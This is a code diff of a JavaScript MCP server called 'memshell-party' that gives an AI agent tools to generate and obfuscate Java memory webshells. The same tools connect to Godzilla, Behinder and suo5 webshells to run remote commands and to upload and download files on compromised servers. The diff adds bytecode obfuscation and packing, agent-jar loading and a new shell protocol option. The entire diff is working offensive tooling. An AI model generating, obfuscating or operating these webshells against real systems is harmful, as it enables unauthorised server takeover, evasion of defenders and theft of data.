@@ -1992,7 +2767,8 @@ var connectInput = {
|
|
|
1992
2767
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
1993
2768
|
suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
|
|
1994
2769
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
1995
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
2770
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
2771
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
1996
2772
|
};
|
|
1997
2773
|
var execInput = {
|
|
1998
2774
|
name: z.string().optional().describe(
|
|
@@ -2009,7 +2785,8 @@ var execInput = {
|
|
|
2009
2785
|
headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
|
|
2010
2786
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
2011
2787
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
2012
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
2788
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
2789
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
2013
2790
|
};
|
|
2014
2791
|
var transferConnInput = {
|
|
2015
2792
|
name: execInput.name,
|
|
@@ -2021,6 +2798,7 @@ var transferConnInput = {
|
|
|
2021
2798
|
headerValue: execInput.headerValue,
|
|
2022
2799
|
insecure: execInput.insecure,
|
|
2023
2800
|
timeoutMs: execInput.timeoutMs,
|
|
2801
|
+
upgradeProtocol: execInput.upgradeProtocol,
|
|
2024
2802
|
remoteCharset: z.string().optional().describe(
|
|
2025
2803
|
"godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
|
|
2026
2804
|
)
|
|
@@ -2048,12 +2826,82 @@ var targetSaveInput = {
|
|
|
2048
2826
|
headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
|
|
2049
2827
|
headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
|
|
2050
2828
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
2829
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
|
|
2051
2830
|
projectRemark: z.string().optional().describe("project remark (merged into the project)"),
|
|
2052
2831
|
projectCategory: z.string().optional().describe("project category (merged into the project)"),
|
|
2053
2832
|
shellRemark: z.string().optional().describe("remark for this shell")
|
|
2054
2833
|
};
|
|
2055
2834
|
function createMcpServer(client) {
|
|
2056
2835
|
const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
|
|
2836
|
+
server.registerTool(
|
|
2837
|
+
"bytecode_decode",
|
|
2838
|
+
{
|
|
2839
|
+
title: "Decode Java class",
|
|
2840
|
+
description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
|
|
2841
|
+
inputSchema: bytecodeInput
|
|
2842
|
+
},
|
|
2843
|
+
async (args) => {
|
|
2844
|
+
try {
|
|
2845
|
+
const result = await client.decodeBytecode(args.classBytesBase64);
|
|
2846
|
+
const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
|
|
2847
|
+
{ packResult: result.classBytesBase64Str },
|
|
2848
|
+
{ outFile: args.outputFile, decode: true }
|
|
2849
|
+
);
|
|
2850
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
2851
|
+
} catch (err) {
|
|
2852
|
+
return errorContent(err);
|
|
2853
|
+
}
|
|
2854
|
+
}
|
|
2855
|
+
);
|
|
2856
|
+
server.registerTool(
|
|
2857
|
+
"bytecode_transform",
|
|
2858
|
+
{
|
|
2859
|
+
title: "Transform Java class",
|
|
2860
|
+
description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
|
|
2861
|
+
inputSchema: bytecodeTransformInput
|
|
2862
|
+
},
|
|
2863
|
+
async (args) => {
|
|
2864
|
+
try {
|
|
2865
|
+
const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
|
|
2866
|
+
if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
|
|
2867
|
+
throw new Error("Package relocation requires relocateFrom and relocateTo.");
|
|
2868
|
+
}
|
|
2869
|
+
const {
|
|
2870
|
+
outputFile: outputPath,
|
|
2871
|
+
obfuscate: _obfuscate,
|
|
2872
|
+
obfuscationOptions,
|
|
2873
|
+
probeMethod,
|
|
2874
|
+
server: server2,
|
|
2875
|
+
respHeaderName,
|
|
2876
|
+
...fields
|
|
2877
|
+
} = args;
|
|
2878
|
+
const request = {
|
|
2879
|
+
obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
|
|
2880
|
+
...probeMethod === void 0 ? {} : {
|
|
2881
|
+
server: server2 ?? "Unknown",
|
|
2882
|
+
probe: {
|
|
2883
|
+
probeMethod,
|
|
2884
|
+
probeContent: "Bytecode",
|
|
2885
|
+
respHeaderName
|
|
2886
|
+
}
|
|
2887
|
+
}
|
|
2888
|
+
};
|
|
2889
|
+
const result = await client.transformBytecode({
|
|
2890
|
+
classBytesBase64: args.classBytesBase64,
|
|
2891
|
+
...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
|
|
2892
|
+
...renamePackage ? { renamePackage } : {},
|
|
2893
|
+
...request
|
|
2894
|
+
});
|
|
2895
|
+
const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
|
|
2896
|
+
{ packResult: result.packResult ?? result.classBytesBase64Str },
|
|
2897
|
+
{ outFile: outputPath, decode: result.packResult === void 0 || void 0 }
|
|
2898
|
+
);
|
|
2899
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
2900
|
+
} catch (err) {
|
|
2901
|
+
return errorContent(err);
|
|
2902
|
+
}
|
|
2903
|
+
}
|
|
2904
|
+
);
|
|
2057
2905
|
server.registerTool(
|
|
2058
2906
|
"list_servers",
|
|
2059
2907
|
{ title: "List servers", description: "List supported servers and their shell types" },
|
|
@@ -2104,6 +2952,34 @@ function createMcpServer(client) {
|
|
|
2104
2952
|
}
|
|
2105
2953
|
}
|
|
2106
2954
|
);
|
|
2955
|
+
server.registerTool(
|
|
2956
|
+
"list_shell_tool_configs",
|
|
2957
|
+
{
|
|
2958
|
+
title: "List shell tool configs",
|
|
2959
|
+
description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
|
|
2960
|
+
},
|
|
2961
|
+
async () => {
|
|
2962
|
+
try {
|
|
2963
|
+
return jsonContent(await client.getShellToolConfigs());
|
|
2964
|
+
} catch (err) {
|
|
2965
|
+
return errorContent(err);
|
|
2966
|
+
}
|
|
2967
|
+
}
|
|
2968
|
+
);
|
|
2969
|
+
server.registerTool(
|
|
2970
|
+
"list_obfuscation_options",
|
|
2971
|
+
{
|
|
2972
|
+
title: "List obfuscation options",
|
|
2973
|
+
description: "List class obfuscation option keys, defaults and valid values (v3+)"
|
|
2974
|
+
},
|
|
2975
|
+
async () => {
|
|
2976
|
+
try {
|
|
2977
|
+
return jsonContent(await client.getObfuscationOptions());
|
|
2978
|
+
} catch (err) {
|
|
2979
|
+
return errorContent(err);
|
|
2980
|
+
}
|
|
2981
|
+
}
|
|
2982
|
+
);
|
|
2107
2983
|
server.registerTool(
|
|
2108
2984
|
"generate_memshell",
|
|
2109
2985
|
{
|
|
@@ -2122,7 +2998,17 @@ function createMcpServer(client) {
|
|
|
2122
2998
|
};
|
|
2123
2999
|
const started = Date.now();
|
|
2124
3000
|
try {
|
|
2125
|
-
|
|
3001
|
+
if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
|
|
3002
|
+
throw new Error(
|
|
3003
|
+
"agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
|
|
3004
|
+
);
|
|
3005
|
+
}
|
|
3006
|
+
const response = await client.generateMemShell(
|
|
3007
|
+
buildMemShellRequest({
|
|
3008
|
+
...args,
|
|
3009
|
+
obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
3010
|
+
})
|
|
3011
|
+
);
|
|
2126
3012
|
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
2127
3013
|
logOp({
|
|
2128
3014
|
category: "gen",
|
|
@@ -2132,7 +3018,14 @@ function createMcpServer(client) {
|
|
|
2132
3018
|
detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
|
|
2133
3019
|
meta
|
|
2134
3020
|
});
|
|
2135
|
-
return jsonContent(
|
|
3021
|
+
return jsonContent({
|
|
3022
|
+
...response,
|
|
3023
|
+
...outputFile === void 0 ? {} : { outputFile },
|
|
3024
|
+
...args.agentArgs === void 0 ? {} : {
|
|
3025
|
+
agentArgs: args.agentArgs,
|
|
3026
|
+
agentLoadExamples: agentLoadExamples(args.agentArgs)
|
|
3027
|
+
}
|
|
3028
|
+
});
|
|
2136
3029
|
} catch (err) {
|
|
2137
3030
|
logOp({
|
|
2138
3031
|
category: "gen",
|
|
@@ -2162,7 +3055,12 @@ function createMcpServer(client) {
|
|
|
2162
3055
|
};
|
|
2163
3056
|
const started = Date.now();
|
|
2164
3057
|
try {
|
|
2165
|
-
const response = await client.generateProbe(
|
|
3058
|
+
const response = await client.generateProbe(
|
|
3059
|
+
buildProbeRequest({
|
|
3060
|
+
...args,
|
|
3061
|
+
obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
3062
|
+
})
|
|
3063
|
+
);
|
|
2166
3064
|
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
2167
3065
|
logOp({
|
|
2168
3066
|
category: "probe",
|
|
@@ -2228,29 +3126,19 @@ function createMcpServer(client) {
|
|
|
2228
3126
|
key: args.key,
|
|
2229
3127
|
headerName: args.headerName,
|
|
2230
3128
|
headerValue: args.headerValue,
|
|
2231
|
-
insecure: args.insecure
|
|
3129
|
+
insecure: args.insecure,
|
|
3130
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2232
3131
|
});
|
|
2233
3132
|
const common = {
|
|
2234
3133
|
headerName: conn.headerName,
|
|
2235
3134
|
headerValue: conn.headerValue,
|
|
2236
3135
|
extraHeaders: conn.extraHeaders,
|
|
2237
3136
|
timeoutMs: args.timeoutMs,
|
|
2238
|
-
insecure: conn.insecure
|
|
3137
|
+
insecure: conn.insecure,
|
|
3138
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2239
3139
|
};
|
|
2240
|
-
|
|
2241
|
-
|
|
2242
|
-
case "godzilla":
|
|
2243
|
-
result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
|
|
2244
|
-
break;
|
|
2245
|
-
case "behinder":
|
|
2246
|
-
result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
|
|
2247
|
-
break;
|
|
2248
|
-
case "suo5":
|
|
2249
|
-
result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
|
|
2250
|
-
break;
|
|
2251
|
-
default:
|
|
2252
|
-
throw new Error(`unknown tool ${String(conn.tool)}`);
|
|
2253
|
-
}
|
|
3140
|
+
const options = { suo5Mode: args.suo5Mode };
|
|
3141
|
+
const result = await requireProtocol(conn.tool).test({ conn, common, options });
|
|
2254
3142
|
let savedAs;
|
|
2255
3143
|
if (result.ok && conn.targetName === void 0) {
|
|
2256
3144
|
savedAs = autoSaveShell(conn);
|
|
@@ -2289,32 +3177,20 @@ function createMcpServer(client) {
|
|
|
2289
3177
|
key: args.key,
|
|
2290
3178
|
headerName: args.headerName,
|
|
2291
3179
|
headerValue: args.headerValue,
|
|
2292
|
-
insecure: args.insecure
|
|
3180
|
+
insecure: args.insecure,
|
|
3181
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2293
3182
|
});
|
|
2294
3183
|
const common = {
|
|
2295
3184
|
headerName: conn.headerName,
|
|
2296
3185
|
headerValue: conn.headerValue,
|
|
2297
3186
|
extraHeaders: conn.extraHeaders,
|
|
2298
3187
|
timeoutMs: args.timeoutMs,
|
|
2299
|
-
insecure: conn.insecure
|
|
3188
|
+
insecure: conn.insecure,
|
|
3189
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2300
3190
|
};
|
|
2301
|
-
|
|
2302
|
-
|
|
2303
|
-
|
|
2304
|
-
result = await execGodzilla(
|
|
2305
|
-
conn.url,
|
|
2306
|
-
conn.pass ?? "pass",
|
|
2307
|
-
conn.key ?? "key",
|
|
2308
|
-
args.command,
|
|
2309
|
-
{ ...common, os: args.os }
|
|
2310
|
-
);
|
|
2311
|
-
break;
|
|
2312
|
-
case "behinder":
|
|
2313
|
-
result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
|
|
2314
|
-
break;
|
|
2315
|
-
default:
|
|
2316
|
-
throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2317
|
-
}
|
|
3191
|
+
const protocol = requireProtocol(conn.tool);
|
|
3192
|
+
if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
|
|
3193
|
+
const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
|
|
2318
3194
|
let savedAs;
|
|
2319
3195
|
if (result.ok && conn.targetName === void 0) {
|
|
2320
3196
|
savedAs = autoSaveShell(conn);
|
|
@@ -2356,41 +3232,27 @@ function createMcpServer(client) {
|
|
|
2356
3232
|
key: args.key,
|
|
2357
3233
|
headerName: args.headerName,
|
|
2358
3234
|
headerValue: args.headerValue,
|
|
2359
|
-
insecure: args.insecure
|
|
3235
|
+
insecure: args.insecure,
|
|
3236
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2360
3237
|
});
|
|
2361
3238
|
const common = {
|
|
2362
3239
|
headerName: conn.headerName,
|
|
2363
3240
|
headerValue: conn.headerValue,
|
|
2364
3241
|
extraHeaders: conn.extraHeaders,
|
|
2365
3242
|
timeoutMs: args.timeoutMs,
|
|
2366
|
-
insecure: conn.insecure
|
|
3243
|
+
insecure: conn.insecure,
|
|
3244
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2367
3245
|
};
|
|
2368
3246
|
const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
|
|
2369
|
-
|
|
2370
|
-
|
|
2371
|
-
|
|
2372
|
-
|
|
2373
|
-
|
|
2374
|
-
|
|
2375
|
-
conn.key ?? "key",
|
|
2376
|
-
args.remotePath,
|
|
2377
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
2378
|
-
);
|
|
2379
|
-
break;
|
|
2380
|
-
case "behinder":
|
|
2381
|
-
result = await downloadBehinder(
|
|
2382
|
-
conn.url,
|
|
2383
|
-
conn.pass ?? "rebeyond",
|
|
2384
|
-
args.remotePath,
|
|
2385
|
-
common
|
|
2386
|
-
);
|
|
2387
|
-
break;
|
|
2388
|
-
default:
|
|
2389
|
-
throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2390
|
-
}
|
|
3247
|
+
const protocol = requireProtocol(conn.tool);
|
|
3248
|
+
if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
|
|
3249
|
+
let result = await protocol.download(
|
|
3250
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
3251
|
+
args.remotePath
|
|
3252
|
+
);
|
|
2391
3253
|
if (result.ok && result.data !== void 0) {
|
|
2392
3254
|
try {
|
|
2393
|
-
|
|
3255
|
+
writeFileSync4(localPath, result.data);
|
|
2394
3256
|
} catch (err) {
|
|
2395
3257
|
result = {
|
|
2396
3258
|
...result,
|
|
@@ -2439,40 +3301,25 @@ function createMcpServer(client) {
|
|
|
2439
3301
|
key: args.key,
|
|
2440
3302
|
headerName: args.headerName,
|
|
2441
3303
|
headerValue: args.headerValue,
|
|
2442
|
-
insecure: args.insecure
|
|
3304
|
+
insecure: args.insecure,
|
|
3305
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2443
3306
|
});
|
|
2444
3307
|
const common = {
|
|
2445
3308
|
headerName: conn.headerName,
|
|
2446
3309
|
headerValue: conn.headerValue,
|
|
2447
3310
|
extraHeaders: conn.extraHeaders,
|
|
2448
3311
|
timeoutMs: args.timeoutMs,
|
|
2449
|
-
insecure: conn.insecure
|
|
3312
|
+
insecure: conn.insecure,
|
|
3313
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2450
3314
|
};
|
|
2451
3315
|
const data = readUploadFile(args.localPath);
|
|
2452
|
-
|
|
2453
|
-
|
|
2454
|
-
|
|
2455
|
-
|
|
2456
|
-
|
|
2457
|
-
|
|
2458
|
-
|
|
2459
|
-
args.remotePath,
|
|
2460
|
-
data,
|
|
2461
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
2462
|
-
);
|
|
2463
|
-
break;
|
|
2464
|
-
case "behinder":
|
|
2465
|
-
result = await uploadBehinder(
|
|
2466
|
-
conn.url,
|
|
2467
|
-
conn.pass ?? "rebeyond",
|
|
2468
|
-
args.remotePath,
|
|
2469
|
-
data,
|
|
2470
|
-
common
|
|
2471
|
-
);
|
|
2472
|
-
break;
|
|
2473
|
-
default:
|
|
2474
|
-
throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2475
|
-
}
|
|
3316
|
+
const protocol = requireProtocol(conn.tool);
|
|
3317
|
+
if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
|
|
3318
|
+
const result = await protocol.upload(
|
|
3319
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
3320
|
+
args.remotePath,
|
|
3321
|
+
data
|
|
3322
|
+
);
|
|
2476
3323
|
let savedAs;
|
|
2477
3324
|
if (result.ok && conn.targetName === void 0) {
|
|
2478
3325
|
savedAs = autoSaveShell(conn);
|
|
@@ -2519,6 +3366,7 @@ function createMcpServer(client) {
|
|
|
2519
3366
|
headerName: args.headerName,
|
|
2520
3367
|
headerValue: args.headerValue,
|
|
2521
3368
|
insecure: args.insecure,
|
|
3369
|
+
upgradeProtocol: args.upgradeProtocol,
|
|
2522
3370
|
remark: args.shellRemark
|
|
2523
3371
|
});
|
|
2524
3372
|
logOp({
|
|
@@ -2672,62 +3520,10 @@ async function startMcpStdio(client) {
|
|
|
2672
3520
|
await server.connect(transport);
|
|
2673
3521
|
}
|
|
2674
3522
|
|
|
2675
|
-
// src/connect/mimic-codecs.ts
|
|
2676
|
-
import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
|
|
2677
|
-
var LEGACY_CIPHER = {
|
|
2678
|
-
algorithm: "aes-ecb",
|
|
2679
|
-
encoding: "base64",
|
|
2680
|
-
padTail: false,
|
|
2681
|
-
marker: "js-var"
|
|
2682
|
-
};
|
|
2683
|
-
function resolveCipher(partial) {
|
|
2684
|
-
return { ...LEGACY_CIPHER, ...partial ?? {} };
|
|
2685
|
-
}
|
|
2686
|
-
function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
|
|
2687
|
-
const id = md5Hex(pass + secretKey).slice(0, 5);
|
|
2688
|
-
if (cipher.marker === "html-comment") {
|
|
2689
|
-
const left2 = `<!--Re${id}_config:`;
|
|
2690
|
-
return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
|
|
2691
|
-
}
|
|
2692
|
-
const left = `var Re${id}_config="`;
|
|
2693
|
-
return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
|
|
2694
|
-
}
|
|
2695
|
-
|
|
2696
3523
|
// src/custom/build.ts
|
|
2697
3524
|
import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
|
|
2698
3525
|
import { join as join6 } from "path";
|
|
2699
3526
|
|
|
2700
|
-
// src/core/site-profile.ts
|
|
2701
|
-
import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
|
|
2702
|
-
import { homedir as homedir4 } from "os";
|
|
2703
|
-
import { join as join5 } from "path";
|
|
2704
|
-
function inferBodyTemplateContentType(bodyTemplate) {
|
|
2705
|
-
const t = bodyTemplate.trimStart();
|
|
2706
|
-
if (t.startsWith("--")) return "multipart/form-data";
|
|
2707
|
-
if (t.startsWith("{") || t.startsWith("[")) return "application/json";
|
|
2708
|
-
if (t.startsWith("<")) return "text/xml";
|
|
2709
|
-
return null;
|
|
2710
|
-
}
|
|
2711
|
-
function profileTemplates(profile) {
|
|
2712
|
-
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
2713
|
-
return profile.templates;
|
|
2714
|
-
}
|
|
2715
|
-
if (profile.template) {
|
|
2716
|
-
return [
|
|
2717
|
-
{
|
|
2718
|
-
title: profile.title ?? "",
|
|
2719
|
-
template: profile.template,
|
|
2720
|
-
contentType: profile.contentType ?? "text/html; charset=utf-8"
|
|
2721
|
-
}
|
|
2722
|
-
];
|
|
2723
|
-
}
|
|
2724
|
-
return [];
|
|
2725
|
-
}
|
|
2726
|
-
function profileRequests(profile) {
|
|
2727
|
-
if (!profile.request) return [];
|
|
2728
|
-
return Array.isArray(profile.request) ? profile.request : [profile.request];
|
|
2729
|
-
}
|
|
2730
|
-
|
|
2731
3527
|
// src/custom/java-template.ts
|
|
2732
3528
|
function renderWrapperJava() {
|
|
2733
3529
|
return `package mimic;
|